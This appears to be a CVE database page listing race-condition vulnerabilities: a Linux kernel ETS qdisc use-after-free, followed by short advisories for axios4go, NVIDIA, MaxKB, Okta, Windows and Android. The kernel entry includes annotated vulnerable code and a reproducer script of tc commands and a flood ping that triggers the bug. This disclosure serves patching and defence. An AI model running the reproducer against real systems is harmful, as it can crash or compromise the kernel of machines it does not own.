CVE Database

In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

axios4go is a Go HTTP client library. Prior to version 0.6.4, a race condition vulnerability exists in the shared HTTP client configuration. The global `defaultClient` is mutated during request execution without synchronization, directly modifying the shared `http.Client`'s `Transport`, `Timeout`, and `CheckRedirect` properties. Impacted applications include that that use axios4go with concurrent requests (multiple goroutines, `GetAsync`, `PostAsync`, etc.), those where different requests use different proxy configurations, and those that handle sensitive data (authentication credentials, tokens, API keys). Version 0.6.4 fixes this issue.

NVIDIA Resiliency Extension for Linux contains a vulnerability in the checkpointing core, where an attacker may cause a race condition. A successful exploit of this vulnerability might lead to information disclosure, data tampering, denial of service, or escalation of privileges.

MaxKB is an open-source AI assistant for enterprise. Versions 2.3.1 and below have improper file permissions which allow attackers to overwrite the built-in dynamic linker and other critical files, potentially resulting in privilege escalation. This issue is fixed in version 2.4.0.

In bigo_worker_thread of private/google-modules/video/gchips/bigo.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

In PrepareWorkloadBuffers of gxp_main_actor.cc, there is a possible double fetch due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Okta Java Management SDK facilitates interactions with the Okta management API. In versions 11.0.0 through 20.0.0, race conditions may arise from concurrent requests using the ApiClient class. This could cause a status code or response header from one request’s response to influence another request’s response. This issue is fixed in version 20.0.1.

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Shell allows an authorized attacker to elevate privileges locally.

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Shell allows an authorized attacker to elevate privileges locally.

Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Brokering File System allows an authorized attacker to elevate privileges locally.

In multiple locations of UsbDataAdvancedProtectionHook.java, there is a possible way to access USB data when the screen is off due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

In multiple locations, there is a possible intent filter bypass due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.